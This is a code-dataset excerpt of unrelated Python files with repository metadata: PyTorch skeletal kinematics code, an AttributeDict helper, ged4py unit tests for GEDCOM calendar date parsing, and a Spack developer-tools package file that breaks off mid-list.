@staticmethod def transform_from_euler(rotation, order): rotation = rotation / 180 * math.pi transform = torch.matmul(ForwardKinematics.transform_from_axis(rotation[..., 1], order[1]), ForwardKinematics.transform_from_axis(rotation[..., 2], order[2])) transform = torch.matmul(ForwardKinematics.transform_from_axis(rotation[..., 0], order[0]), transform) return transform @staticmethod def transform_from_axis(euler, axis): transform = torch.empty(euler.shape[0:3] + (3, 3), device=euler.device) cos = torch.cos(euler) sin = torch.sin(euler) cord = ord(axis) - ord('x') transform[..., cord, :] = transform[..., :, cord] = 0 transform[..., cord, cord] = 1 if axis == 'x': transform[..., 1, 1] = transform[..., 2, 2] = cos transform[..., 1, 2] = -sin transform[..., 2, 1] = sin if axis == 'y': transform[..., 0, 0] = transform[..., 2, 2] = cos transform[..., 0, 2] = sin transform[..., 2, 0] = -sin if axis == 'z': transform[..., 0, 0] = transform[..., 1, 1] = cos transform[..., 0, 1] = -sin transform[..., 1, 0] = sin return transform @staticmethod def transform_from_quaternion(quater: torch.Tensor): qw = quater[..., 0] qx = quater[..., 1] qy = quater[..., 2] qz = quater[..., 3] x2 = qx + qx y2 = qy + qy z2 = qz + qz xx = qx * x2 yy = qy * y2 wx = qw * x2 xy = qx * y2 yz = qy * z2 wy = qw * y2 xz = qx * z2 zz = qz * z2 wz = qw * z2 m = torch.empty(quater.shape[:-1] + (3, 3), device=quater.device) m[..., 0, 0] = 1.0 - (yy + zz) m[..., 0, 1] = xy - wz m[..., 0, 2] = xz + wy m[..., 1, 0] = xy + wz m[..., 1, 1] = 1.0 - (xx + zz) m[..., 1, 2] = yz - wx m[..., 2, 0] = xz - wy m[..., 2, 1] = yz + wx m[..., 2, 2] = 1.0 - (xx + yy) return m class InverseKinematics: def __init__(self, rotations: torch.Tensor, positions: torch.Tensor, offset, parents, constrains): self.rotations = rotations self.rotations.requires_grad_(True) self.position = positions self.position.requires_grad_(True) self.parents = parents self.offset = offset self.constrains = constrains self.optimizer = torch.optim.Adam([self.position, self.rotations], lr=1e-3, betas=(0.9, 0.999)) self.crit = nn.MSELoss() def step(self): self.optimizer.zero_grad() glb = self.forward(self.rotations, self.position, self.offset, order='', quater=True, world=True) loss = self.crit(glb, self.constrains) loss.backward() self.optimizer.step() self.glb = glb return loss.item() def tloss(self, time): return self.crit(self.glb[time, :], self.constrains[time, :]) def all_loss(self): res = [self.tloss(t).detach().numpy() for t in range(self.constrains.shape[0])] return np.array(res) ''' rotation should have shape batch_size * Joint_num * (3/4) * Time position should have shape batch_size * 3 * Time offset should have shape batch_size * Joint_num * 3 output have shape batch_size * Time * Joint_num * 3 ''' def forward(self, rotation: torch.Tensor, position: torch.Tensor, offset: torch.Tensor, order='xyz', quater=False, world=True): ''' if not quater and rotation.shape[-2] != 3: raise Exception('Unexpected shape of rotation') if quater and rotation.shape[-2] != 4: raise Exception('Unexpected shape of rotation') rotation = rotation.permute(0, 3, 1, 2) position = position.permute(0, 2, 1) ''' result = torch.empty(rotation.shape[:-1] + (3,), device=position.device) norm = torch.norm(rotation, dim=-1, keepdim=True) rotation = rotation / norm if quater: transform = self.transform_from_quaternion(rotation) else: transform = self.transform_from_euler(rotation, order) offset = offset.reshape((-1, 1, offset.shape[-2], offset.shape[-1], 1)) result[..., 0, :] = position for i, pi in enumerate(self.parents): if pi == -1: assert i == 0 continue result[..., i, :] = torch.matmul(transform[..., pi, :, :], offset[..., i, :, :]).squeeze() transform[..., i, :, :] = torch.matmul(transform[..., pi, :, :], transform[..., i, :, :]) if world: result[..., i, :] += result[..., pi, :] return result @staticmethod def transform_from_euler(rotation, order): rotation = rotation / 180 * math.pi transform = torch.matmul(ForwardKinematics.transform_from_axis(rotation[..., 1], order[1]), ForwardKinematics.transform_from_axis(rotation[..., 2], order[2])) transform = torch.matmul(ForwardKinematics.transform_from_axis(rotation[..., 0], order[0]), transform) return transform @staticmethod def transform_from_axis(euler, axis): transform = torch.empty(euler.shape[0:3] + (3, 3), device=euler.device) cos = torch.cos(euler) sin = torch.sin(euler) cord = ord(axis) - ord('x') transform[..., cord, :] = transform[..., :, cord] = 0 transform[..., cord, cord] = 1 if axis == 'x': transform[..., 1, 1] = transform[..., 2, 2] = cos transform[..., 1, 2] = -sin transform[..., 2, 1] = sin if axis == 'y': transform[..., 0, 0] = transform[..., 2, 2] = cos transform[..., 0, 2] = sin transform[..., 2, 0] = -sin if axis == 'z': transform[..., 0, 0] = transform[..., 1, 1] = cos transform[..., 0, 1] = -sin transform[..., 1, 0] = sin return transform @staticmethod def transform_from_quaternion(quater: torch.Tensor): qw = quater[..., 0] qx = quater[..., 1] qy = quater[..., 2] qz = quater[..., 3] x2 = qx + qx y2 = qy + qy z2 = qz + qz xx = qx * x2 yy = qy * y2 wx = qw * x2 xy = qx * y2 yz = qy * z2 wy = qw * y2 xz = qx * z2 zz = qz * z2 wz = qw * z2 m = torch.empty(quater.shape[:-1] + (3, 3), device=quater.device) m[..., 0, 0] = 1.0 - (yy + zz) m[..., 0, 1] = xy - wz m[..., 0, 2] = xz + wy m[..., 1, 0] = xy + wz m[..., 1, 1] = 1.0 - (xx + zz) m[..., 1, 2] = yz - wx m[..., 2, 0] = xz - wy m[..., 2, 1] = yz + wx m[..., 2, 2] = 1.0 - (xx + yy) return m

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null

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null

0

1

7ce0fee58832e03db2dedb448c80880f25c203aa

800

py

Python

mppi/Utilities/AttributeDict.py

marcodalessandro76/MPPI

ad60b73270b1f376ac501d47285146f1c3af457a

[ "MIT" ]

1

2019-05-04T09:26:36.000Z

mppi/Utilities/AttributeDict.py

marcodalessandro76/MPPI

ad60b73270b1f376ac501d47285146f1c3af457a

[ "MIT" ]

null

mppi/Utilities/AttributeDict.py

marcodalessandro76/MPPI

ad60b73270b1f376ac501d47285146f1c3af457a

[ "MIT" ]

null

class AttributeDict(object): """ A class to convert a nested Dictionary into an object with key-values accessibly using attribute notation (AttributeDict.attribute) instead of key notation (Dict["key"]). This class recursively sets Dicts to objects, allowing you to recurse down nested dicts (like: AttributeDict.attr.attr) """ def __init__(self, **entries): self.add_entries(**entries) def add_entries(self, **entries): for key, value in entries.items(): if type(value) is dict: self.__dict__[key] = AttributeDict(**value) else: self.__dict__[key] = value def getAttributes(self): """ Return all the attributes of the object """ return self.__dict__.keys()

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null

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1

7ce3c5ddd55aea55c48d0f942c54f7645b346e45

24,690

py

Python

tests/test_date.py

andy-z/ged4py

2270bd8366174dcc98424cc6671bdaecf770fda0

[ "MIT" ]

10

2017-07-25T22:39:34.000Z

2022-03-01T04:40:38.000Z

tests/test_date.py

andy-z/ged4py

2270bd8366174dcc98424cc6671bdaecf770fda0

[ "MIT" ]

20

2018-03-25T10:25:40.000Z

2021-05-02T20:38:48.000Z

tests/test_date.py

andy-z/ged4py

2270bd8366174dcc98424cc6671bdaecf770fda0

[ "MIT" ]

6

2018-04-29T12:45:34.000Z

2021-09-14T14:30:52.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- """Tests for `ged4py.date` module.""" import unittest from ged4py.calendar import ( CalendarType, CalendarDate, FrenchDate, GregorianDate, HebrewDate, JulianDate, CalendarDateVisitor ) from ged4py.date import ( DateValue, DateValueAbout, DateValueAfter, DateValueBefore, DateValueCalculated, DateValueEstimated, DateValueFrom, DateValueInterpreted, DateValuePeriod, DateValuePhrase, DateValueRange, DateValueSimple, DateValueTo, DateValueTypes, DateValueVisitor ) class TestDateVisitor(CalendarDateVisitor, DateValueVisitor): def visitGregorian(self, date): if not isinstance(date, GregorianDate): raise TypeError(str(type(date))) return ("gregorian", date) def visitJulian(self, date): if not isinstance(date, JulianDate): raise TypeError(str(type(date))) return ("julian", date) def visitHebrew(self, date): if not isinstance(date, HebrewDate): raise TypeError(str(type(date))) return ("hebrew", date) def visitFrench(self, date): if not isinstance(date, FrenchDate): raise TypeError(str(type(date))) return ("french", date) def visitSimple(self, date): if not isinstance(date, DateValueSimple): raise TypeError(str(type(date))) return ("simple", date.date) def visitPeriod(self, date): if not isinstance(date, DateValuePeriod): raise TypeError(str(type(date))) return ("period", date.date1, date.date2) def visitFrom(self, date): if not isinstance(date, DateValueFrom): raise TypeError(str(type(date))) return ("from", date.date) def visitTo(self, date): if not isinstance(date, DateValueTo): raise TypeError(str(type(date))) return ("to", date.date) def visitRange(self, date): if not isinstance(date, DateValueRange): raise TypeError(str(type(date))) return ("range", date.date1, date.date2) def visitBefore(self, date): if not isinstance(date, DateValueBefore): raise TypeError(str(type(date))) return ("before", date.date) def visitAfter(self, date): if not isinstance(date, DateValueAfter): raise TypeError(str(type(date))) return ("after", date.date) def visitAbout(self, date): if not isinstance(date, DateValueAbout): raise TypeError(str(type(date))) return ("about", date.date) def visitCalculated(self, date): if not isinstance(date, DateValueCalculated): raise TypeError(str(type(date))) return ("calculated", date.date) def visitEstimated(self, date): if not isinstance(date, DateValueEstimated): raise TypeError(str(type(date))) return ("estimated", date.date) def visitInterpreted(self, date): if not isinstance(date, DateValueInterpreted): raise TypeError(str(type(date))) return ("interpreted", date.date, date.phrase) def visitPhrase(self, date): if not isinstance(date, DateValuePhrase): raise TypeError(str(type(date))) return ("phrase", date.phrase) class TestDetailDate(unittest.TestCase): """Tests for `ged4py.date` module.""" def test_001_cal_date(self): """Test date.CalendarDate class.""" date = GregorianDate(2017, "OCT", 9) self.assertEqual(date.year, 2017) self.assertIsNone(date.dual_year) self.assertFalse(date.bc) self.assertEqual(date.year_str, "2017") self.assertEqual(date.month, "OCT") self.assertEqual(date.month_num, 10) self.assertEqual(date.day, 9) self.assertEqual(date.calendar, CalendarType.GREGORIAN) date = GregorianDate(2017, "OCT", bc=True) self.assertEqual(date.year, 2017) self.assertIsNone(date.dual_year) self.assertTrue(date.bc) self.assertEqual(date.year_str, "2017 B.C.") self.assertEqual(date.month, "OCT") self.assertEqual(date.month_num, 10) self.assertIsNone(date.day) self.assertEqual(date.calendar, CalendarType.GREGORIAN) date = GregorianDate(1699, "FEB", dual_year=1700) self.assertEqual(date.year, 1699) self.assertEqual(date.dual_year, 1700) self.assertFalse(date.bc) self.assertEqual(date.year_str, "1699/00") self.assertEqual(date.month, "FEB") self.assertEqual(date.month_num, 2) self.assertIsNone(date.day) self.assertEqual(date.calendar, CalendarType.GREGORIAN) date = HebrewDate(5000) self.assertEqual(date.year, 5000) self.assertFalse(date.bc) self.assertEqual(date.year_str, "5000") self.assertIsNone(date.month) self.assertIsNone(date.month_num) self.assertIsNone(date.day) self.assertEqual(date.calendar, CalendarType.HEBREW) date = FrenchDate(1, "FRUC", 1) self.assertEqual(date.year, 1) self.assertFalse(date.bc) self.assertEqual(date.year_str, "1") self.assertEqual(date.month, "FRUC") self.assertEqual(date.month_num, 12) self.assertEqual(date.day, 1) self.assertEqual(date.calendar, CalendarType.FRENCH_R) date = JulianDate(5, "JAN", bc=True) self.assertEqual(date.year, 5) self.assertTrue(date.bc) self.assertEqual(date.year_str, "5 B.C.") self.assertEqual(date.month, "JAN") self.assertEqual(date.month_num, 1) self.assertIsNone(date.day) self.assertEqual(date.calendar, CalendarType.JULIAN) def test_002_cal_date_key(self): """Test date.CalendarDate class.""" date = GregorianDate(2017, "OCT", 9) self.assertEqual(date.key(), (2458035.5, 0)) date = GregorianDate(1699, "FEB", 1, dual_year=1700) self.assertEqual(date.key(), (2342003.5, 0)) date = FrenchDate(2017, "VENT", bc=True) self.assertEqual(date.key(), (1638959.5, 1)) date = HebrewDate(2017, "TSH", 22) self.assertEqual(date.key(), (1084542.5, 0)) date = JulianDate(1000) self.assertEqual(date.key(), (2086672.5, 1)) def test_003_cal_date_cmp(self): """Test date.CalendarDate class.""" self.assertTrue(GregorianDate(2016, "JAN", 1) < GregorianDate(2017, "JAN", 1)) self.assertTrue(GregorianDate(2017, "JAN", 1) < GregorianDate(2017, "FEB", 1)) self.assertTrue(GregorianDate(2017, "JAN", 1) < GregorianDate(2017, "JAN", 2)) self.assertTrue(GregorianDate(2017, "JAN", 1) <= GregorianDate(2017, "JAN", 2)) self.assertTrue(GregorianDate(2017, "JAN", 2) > GregorianDate(2017, "JAN", 1)) self.assertTrue(GregorianDate(2017, "JAN", 2) >= GregorianDate(2017, "JAN", 1)) self.assertTrue(GregorianDate(2017, "JAN", 1) == GregorianDate(2017, "JAN", 1)) self.assertTrue(GregorianDate(2017, "JAN", 1) != GregorianDate(2017, "JAN", 2)) # missing day compares as "past" the last day of month, but before next month self.assertTrue(GregorianDate(2017, "JAN") > GregorianDate(2017, "JAN", 31)) self.assertTrue(GregorianDate(2017, "JAN") < GregorianDate(2017, "FEB", 1)) # missing month compares as "past" the last day of year, but before next year self.assertTrue(GregorianDate(2017) > GregorianDate(2017, "DEC", 31)) self.assertTrue(GregorianDate(2017) < GregorianDate(2018, "JAN", 1)) # dual date self.assertTrue(GregorianDate(1700, "JAN", 1) == GregorianDate(1699, "JAN", 1, dual_year=1700)) # compare Gregorian and Julian dates self.assertTrue(GregorianDate(1582, "OCT", 15) == JulianDate(1582, "OCT", 5)) self.assertTrue(GregorianDate(1582, "OCT", 16) > JulianDate(1582, "OCT", 5)) self.assertTrue(JulianDate(1582, "OCT", 6) > GregorianDate(1582, "OCT", 15)) self.assertTrue(GregorianDate(2000, "JAN", 14) == JulianDate(2000, "JAN", 1)) # compare Gregorian and French dates self.assertTrue(GregorianDate(1792, "SEP", 22) == FrenchDate(1, "VEND", 1)) self.assertTrue(GregorianDate(1792, "SEP", 23) > FrenchDate(1, "VEND", 1)) self.assertTrue(FrenchDate(1, "VEND", 2) > GregorianDate(1792, "SEP", 22)) self.assertTrue(GregorianDate(2020, "SEP", 21) == FrenchDate(228, "COMP", 5)) # compare Gregorian and Hebrew dates self.assertTrue(GregorianDate(2020, "JAN", 1) == HebrewDate(5780, "SVN", 4)) def test_004_cal_date_str(self): """Test date.CalendarDate class.""" date = GregorianDate(2017, "OCT", 9) self.assertEqual(str(date), "9 OCT 2017") date = GregorianDate(2017, "OCT", bc=True) self.assertEqual(str(date), "OCT 2017 B.C.") date = GregorianDate(1699, "JAN", 1, dual_year=1700) self.assertEqual(str(date), "1 JAN 1699/00") date = HebrewDate(5000) self.assertEqual(str(date), "@#DHEBREW@ 5000") date = FrenchDate(1, "VEND", 1) self.assertEqual(str(date), "@#DFRENCH R@ 1 VEND 1") date = JulianDate(1582, "OCT", 5) self.assertEqual(str(date), "@#DJULIAN@ 5 OCT 1582") def test_005_cal_date_parse(self): """Test date.CalendarDate.parse method.""" date = CalendarDate.parse("31 MAY 2020") self.assertIsInstance(date, GregorianDate) self.assertEqual(date.year, 2020) self.assertIsNone(date.dual_year) self.assertFalse(date.bc) self.assertEqual(date.month, "MAY") self.assertEqual(date.month_num, 5) self.assertEqual(date.day, 31) self.assertEqual(date.original, "31 MAY 2020") self.assertEqual(date.calendar, CalendarType.GREGORIAN) date = CalendarDate.parse("@#DGREGORIAN@ 10 MAR 1698/99") self.assertIsInstance(date, GregorianDate) self.assertEqual(date.year, 1698) self.assertEqual(date.dual_year, 1699) self.assertFalse(date.bc) self.assertEqual(date.month, "MAR") self.assertEqual(date.month_num, 3) self.assertEqual(date.day, 10) self.assertEqual(date.original, "@#DGREGORIAN@ 10 MAR 1698/99") self.assertEqual(date.calendar, CalendarType.GREGORIAN) date = CalendarDate.parse("10 MAR 1699/00") self.assertIsInstance(date, GregorianDate) self.assertEqual(date.year, 1699) self.assertEqual(date.dual_year, 1700) self.assertEqual(date.original, "10 MAR 1699/00") self.assertEqual(date.calendar, CalendarType.GREGORIAN) date = CalendarDate.parse("@#DJULIAN@ 100 B.C.") self.assertIsInstance(date, JulianDate) self.assertEqual(date.year, 100) self.assertTrue(date.bc) self.assertIsNone(date.month) self.assertIsNone(date.month_num) self.assertIsNone(date.day) self.assertEqual(date.original, "@#DJULIAN@ 100 B.C.") self.assertEqual(date.calendar, CalendarType.JULIAN) date = CalendarDate.parse("@#DFRENCH R@ 15 GERM 0001") self.assertIsInstance(date, FrenchDate) self.assertEqual(date.year, 1) self.assertFalse(date.bc) self.assertEqual(date.month, "GERM") self.assertEqual(date.month_num, 7) self.assertEqual(date.day, 15) self.assertEqual(date.original, "@#DFRENCH R@ 15 GERM 0001") self.assertEqual(date.calendar, CalendarType.FRENCH_R) date = CalendarDate.parse("@#DHEBREW@ 7 NSN 5000") self.assertIsInstance(date, HebrewDate) self.assertEqual(date.year, 5000) self.assertFalse(date.bc) self.assertEqual(date.month, "NSN") self.assertEqual(date.month_num, 8) self.assertEqual(date.day, 7) self.assertEqual(date.original, "@#DHEBREW@ 7 NSN 5000") self.assertEqual(date.calendar, CalendarType.HEBREW) # cannot handle ROMAN with self.assertRaises(ValueError): date = CalendarDate.parse("@#DROMAN@ 2020") # cannot handle UNKNOWN with self.assertRaises(ValueError): date = CalendarDate.parse("@#DUNKNOWN@ 2020") # dual year only works for GREGORIAN with self.assertRaises(ValueError): date = CalendarDate.parse("@#DJULIAN@ 2020/21") # cannot parse nonsense with self.assertRaises(ValueError): date = CalendarDate.parse("start of time") def test_006_cal_date_visitor(self): """Test date.CalendarDate.accept method.""" visitor = TestDateVisitor() date = GregorianDate(2017, "OCT", 9) value = date.accept(visitor) self.assertEqual(value, ("gregorian", date)) date = HebrewDate(5000) value = date.accept(visitor) self.assertEqual(value, ("hebrew", date)) date = FrenchDate(1, "VEND", 1) value = date.accept(visitor) self.assertEqual(value, ("french", date)) date = JulianDate(1582, "OCT", 5) value = date.accept(visitor) self.assertEqual(value, ("julian", date)) def test_007_cal_date_hash(self): """Test date.CalendarDate hash.""" self.assertEqual(hash(GregorianDate(2017, "OCT", 9)), hash(GregorianDate(2017, "OCT", 9))) self.assertEqual(hash(GregorianDate(2017, "OCT", 9, bc=True)), hash(GregorianDate(2017, "OCT", 9, bc=True))) self.assertEqual(hash(FrenchDate(1, "VEND", 1)), hash(FrenchDate(1, "VEND", 1))) self.assertEqual(hash(FrenchDate(1)), hash(FrenchDate(1))) def test_010_date_no_date(self): """Test date.DateValue class.""" date = DateValue.parse("not a date") self.assertIsInstance(date, DateValuePhrase) self.assertEqual(date.kind, DateValueTypes.PHRASE) self.assertEqual(date.phrase, "not a date") self.assertEqual(str(date), "(not a date)") def test_012_date_parse_period(self): """Test date.DateValue class.""" date = DateValue.parse("FROM 1967") self.assertIsInstance(date, DateValueFrom) self.assertEqual(date.kind, DateValueTypes.FROM) self.assertEqual(date.date, GregorianDate(1967)) self.assertEqual(str(date), "FROM 1967") date = DateValue.parse("TO 1 JAN 2017") self.assertIsInstance(date, DateValueTo) self.assertEqual(date.kind, DateValueTypes.TO) self.assertEqual(date.date, GregorianDate(2017, "JAN", 1)) self.assertEqual(str(date), "TO 1 JAN 2017") date = DateValue.parse("FROM 1920 TO 2000") self.assertIsInstance(date, DateValuePeriod) self.assertEqual(date.kind, DateValueTypes.PERIOD) self.assertEqual(date.date1, GregorianDate(1920)) self.assertEqual(date.date2, GregorianDate(2000)) self.assertEqual(str(date), "FROM 1920 TO 2000") date = DateValue.parse("from mar 1920 to 1 apr 2000") self.assertIsInstance(date, DateValuePeriod) self.assertEqual(date.kind, DateValueTypes.PERIOD) self.assertEqual(date.date1, GregorianDate(1920, "MAR")) self.assertEqual(date.date2, GregorianDate(2000, "APR", 1)) self.assertEqual(str(date), "FROM MAR 1920 TO 1 APR 2000") def test_013_date_parse_range(self): """Test date.DateValue class.""" date = DateValue.parse("BEF 1967B.C.") self.assertIsInstance(date, DateValueBefore) self.assertEqual(date.kind, DateValueTypes.BEFORE) self.assertEqual(date.date, GregorianDate(1967, bc=True)) self.assertEqual(str(date), "BEFORE 1967 B.C.") date = DateValue.parse("AFT 1 JAN 2017") self.assertIsInstance(date, DateValueAfter) self.assertEqual(date.kind, DateValueTypes.AFTER) self.assertEqual(date.date, GregorianDate(2017, "JAN", 1)) self.assertEqual(str(date), "AFTER 1 JAN 2017") date = DateValue.parse("BET @#DJULIAN@ 1600 AND 2000") self.assertIsInstance(date, DateValueRange) self.assertEqual(date.kind, DateValueTypes.RANGE) self.assertEqual(date.date1, JulianDate(1600)) self.assertEqual(date.date2, GregorianDate(2000)) self.assertEqual(str(date), "BETWEEN @#DJULIAN@ 1600 AND 2000") date = DateValue.parse("bet mar 1920 and apr 2000") self.assertIsInstance(date, DateValueRange) self.assertEqual(date.kind, DateValueTypes.RANGE) self.assertEqual(date.date1, GregorianDate(1920, "MAR")) self.assertEqual(date.date2, GregorianDate(2000, "APR")) self.assertEqual(str(date), "BETWEEN MAR 1920 AND APR 2000") def test_014_date_parse_approx(self): """Test date.DateValue class.""" dates = {"500 B.C.": GregorianDate(500, bc=True), "JAN 2017": GregorianDate(2017, "JAN"), "31 JAN 2017": GregorianDate(2017, "JAN", 31)} approx = [ ("ABT", "ABOUT", DateValueAbout, DateValueTypes.ABOUT), ("CAL", "CALCULATED", DateValueCalculated, DateValueTypes.CALCULATED), ("EST", "ESTIMATED", DateValueEstimated, DateValueTypes.ESTIMATED) ] for appr, fmt, klass, typeEnum in approx: for datestr, value in dates.items(): date = DateValue.parse(appr + " " + datestr) self.assertIsInstance(date, klass) self.assertEqual(date.kind, typeEnum) self.assertEqual(str(date), fmt + " " + datestr) self.assertEqual(date.date, value) def test_015_date_parse_phrase(self): """Test date.DateValue class.""" date = DateValue.parse("(some phrase)") self.assertIsInstance(date, DateValuePhrase) self.assertEqual(date.kind, DateValueTypes.PHRASE) self.assertEqual(date.phrase, "some phrase") date = DateValue.parse("INT 1967 B.C. (some phrase)") self.assertIsInstance(date, DateValueInterpreted) self.assertEqual(date.kind, DateValueTypes.INTERPRETED) self.assertEqual(date.date, GregorianDate(1967, bc=True)) self.assertEqual(date.phrase, "some phrase") self.assertEqual(str(date), "INTERPRETED 1967 B.C. (some phrase)") date = DateValue.parse("INT @#DGREGORIAN@ 1 JAN 2017 (some phrase)") self.assertIsInstance(date, DateValueInterpreted) self.assertEqual(date.kind, DateValueTypes.INTERPRETED) self.assertEqual(date.date, GregorianDate(2017, "JAN", 1)) self.assertEqual(date.phrase, "some phrase") self.assertEqual(str(date), "INTERPRETED 1 JAN 2017 (some phrase)") def test_016_date_parse_simple(self): """Test date.DateValue class.""" date = DateValue.parse("1967 B.C.") self.assertIsInstance(date, DateValueSimple) self.assertEqual(date.kind, DateValueTypes.SIMPLE) self.assertEqual(date.date, GregorianDate(1967, bc=True)) self.assertEqual(str(date), "1967 B.C.") date = DateValue.parse("@#DGREGORIAN@ 1 JAN 2017") self.assertIsInstance(date, DateValueSimple) self.assertEqual(date.kind, DateValueTypes.SIMPLE) self.assertEqual(date.date, GregorianDate(2017, "JAN", 1)) self.assertEqual(str(date), "1 JAN 2017") def test_017_date_cmp(self): """Test date.Date class.""" dv = DateValue.parse("2016") self.assertIsInstance(dv.key(), tuple) self.assertEqual(dv.key(), (GregorianDate(2016), GregorianDate(2016))) dv = DateValue.parse("31 DEC 2000") self.assertIsInstance(dv.key(), tuple) self.assertEqual(dv.key(), (GregorianDate(2000, "DEC", 31), GregorianDate(2000, "DEC", 31))) dv = DateValue.parse("BET 31 DEC 2000 AND 1 JAN 2001") self.assertIsInstance(dv.key(), tuple) self.assertEqual(dv.key(), (GregorianDate(2000, "DEC", 31), GregorianDate(2001, "JAN", 1))) # order of dates is messed up dv = DateValue.parse("BET 31 DEC 2000 AND 1 JAN 2000") self.assertIsInstance(dv.key(), tuple) self.assertEqual(dv.key(), (GregorianDate(2000, "DEC", 31), GregorianDate(2000, "JAN", 1))) self.assertTrue(DateValue.parse("2016") < DateValue.parse("2017")) self.assertTrue(DateValue.parse("2 JAN 2016") > DateValue.parse("1 JAN 2016")) self.assertTrue(DateValue.parse("BET 1900 AND 2000") < DateValue.parse("FROM 1920 TO 1999")) # comparing simple date with range self.assertTrue(DateValue.parse("1 JAN 2000") > DateValue.parse("BET 1 JAN 1999 AND 1 JAN 2000")) self.assertNotEqual(DateValue.parse("1 JAN 2000"), DateValue.parse("BET 1 JAN 2000 AND 1 JAN 2001")) self.assertTrue(DateValue.parse("1 JAN 2000") < DateValue.parse("BET 1 JAN 2000 AND 1 JAN 2001")) self.assertTrue(DateValue.parse("1 JAN 2000") > DateValue.parse("BEF 1 JAN 2000")) self.assertTrue(DateValue.parse("1 JAN 2000") > DateValue.parse("TO 1 JAN 2000")) self.assertTrue(DateValue.parse("1 JAN 2000") < DateValue.parse("AFT 1 JAN 2000")) self.assertTrue(DateValue.parse("1 JAN 2000") < DateValue.parse("FROM 1 JAN 2000")) # comparing ranges self.assertEqual(DateValue.parse("FROM 1 JAN 2000 TO 1 JAN 2001"), DateValue.parse("BET 1 JAN 2000 AND 1 JAN 2001")) self.assertTrue(DateValue.parse("FROM 1 JAN 1999 TO 1 JAN 2001") < DateValue.parse("BET 1 JAN 2000 AND 1 JAN 2001")) self.assertTrue(DateValue.parse("FROM 1 JAN 2000 TO 1 JAN 2002") > DateValue.parse("BET 1 JAN 2000 AND 1 JAN 2001")) # Less specific date compares later than more specific self.assertTrue(DateValue.parse("2000") > DateValue.parse("31 DEC 2000")) self.assertTrue(DateValue.parse("DEC 2000") > DateValue.parse("31 DEC 2000")) # phrase is always later than any regular date self.assertTrue(DateValue.parse("(Could be 1996 or 1998)") > DateValue.parse("2000")) # "empty" date is always later than any regular date self.assertTrue(DateValue.parse("") > DateValue.parse("2000")) def test_018_date_parse_empty(self): """Test date.DateValue class.""" for value in (None, ""): date = DateValue.parse(value) self.assertIsInstance(date, DateValuePhrase) self.assertEqual(date.kind, DateValueTypes.PHRASE) self.assertIsNone(date.phrase) self.assertEqual(str(date), "") def test_019_date_value_visitor(self): """Test date.DateValue class.""" visitor = TestDateVisitor() date1 = GregorianDate(2017, "JAN", 1) date2 = GregorianDate(2017, "DEC", 31) value = DateValueSimple(date1).accept(visitor) self.assertEqual(value, ("simple", date1)) value = DateValueFrom(date1).accept(visitor) self.assertEqual(value, ("from", date1)) value = DateValueTo(date1).accept(visitor) self.assertEqual(value, ("to", date1)) value = DateValuePeriod(date1, date2).accept(visitor) self.assertEqual(value, ("period", date1, date2)) value = DateValueBefore(date1).accept(visitor) self.assertEqual(value, ("before", date1)) value = DateValueAfter(date1).accept(visitor) self.assertEqual(value, ("after", date1)) value = DateValueRange(date1, date2).accept(visitor) self.assertEqual(value, ("range", date1, date2)) value = DateValueAbout(date1).accept(visitor) self.assertEqual(value, ("about", date1)) value = DateValueCalculated(date1).accept(visitor) self.assertEqual(value, ("calculated", date1)) value = DateValueEstimated(date1).accept(visitor) self.assertEqual(value, ("estimated", date1)) value = DateValueInterpreted(date1, "phrase").accept(visitor) self.assertEqual(value, ("interpreted", date1, "phrase")) value = DateValuePhrase("phrase").accept(visitor) self.assertEqual(value, ("phrase", "phrase")) def test_020_date_hash(self): """Test date.Date hash""" dv1 = DateValue.parse("2016") dv2 = DateValue.parse("2016") self.assertEqual(hash(dv1), hash(dv2)) dv1 = DateValue.parse("31 DEC 2000") dv2 = DateValue.parse("31 DEC 2000") self.assertEqual(hash(dv1), hash(dv2)) dv1 = DateValue.parse("BET 31 DEC 2000 AND 1 JAN 2001") dv2 = DateValue.parse("BET 31 DEC 2000 AND 1 JAN 2001") self.assertEqual(hash(dv1), hash(dv2))

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7ce4ea0979a0d8bcdfade749e59f8ad94da264f2

3,487

py

Python

var/spack/repos/builtin/packages/visionary-dev-tools/package.py

electronicvisions/spack

d6121eb35b4948f7d8aef7ec7a305a5123a7439e

[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]

2

2019-02-10T13:47:48.000Z

2019-04-17T13:05:17.000Z

var/spack/repos/builtin/packages/visionary-dev-tools/package.py

einc-eu/spack

15468b92ed21d970c0111ae19144e85e66746433

[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]

8

2021-05-28T06:39:59.000Z

2022-03-30T15:12:35.000Z

var/spack/repos/builtin/packages/visionary-dev-tools/package.py

einc-eu/spack

15468b92ed21d970c0111ae19144e85e66746433

[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]

2

2018-04-06T09:04:11.000Z

2020-01-24T12:52:12.000Z

# Copyright 2013-2019 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) import os.path as osp class VisionaryDevTools(Package): """Developer convenience packages common to all visionary development meta packages. Application specific build tools belong to the dedicated meta packages.""" homepage = '' # some random tarball, to make `spack fetch --dependencies visionary-defaults` work url = 'https://github.com/electronicvisions/spack/archive/v0.8.tar.gz' # This is only a dummy tarball (see difference between version numbers) # TODO: as soon as a MetaPackage-concept has been merged, please update this package version('1.0', '372ce038842f20bf0ae02de50c26e85d', url='https://github.com/electronicvisions/spack/archive/v0.8.tar.gz') depends_on('ack') depends_on('autoconf') depends_on('automake') depends_on('bash-completion') depends_on('bazel') depends_on('bear') depends_on('cairo +X') depends_on('cloc') depends_on('cmake') depends_on('connect-proxy') depends_on('cppcheck +htmlreport') depends_on('cquery') depends_on('doxygen+graphviz') depends_on('emacs ~X') depends_on('gdb') depends_on('genpybind') depends_on('git+tcltk') depends_on('git-fat-git') depends_on('gtkplus') depends_on('imagemagick') depends_on('jq') depends_on('libpcap') depends_on('libtool') depends_on('llvm+visionary+python~libcxx build_type=Release') depends_on('mercurial') depends_on('mosh') depends_on('munge') depends_on('ncdu') depends_on('node-js') depends_on('octave+fftw') depends_on('openssh') depends_on('pigz') depends_on('pkg-config') depends_on('py-autopep8') depends_on('py-black', when="^python@3.6.0:") depends_on('py-configargparse') depends_on('py-doxypypy') depends_on('py-flake8') depends_on('py-gdbgui') depends_on('py-git-review') depends_on('py-ipython') depends_on('py-jedi') depends_on('py-junit-xml') depends_on('py-language-server') depends_on('py-line-profiler') depends_on('py-nose') depends_on('py-nose2') depends_on('py-memory-profiler') 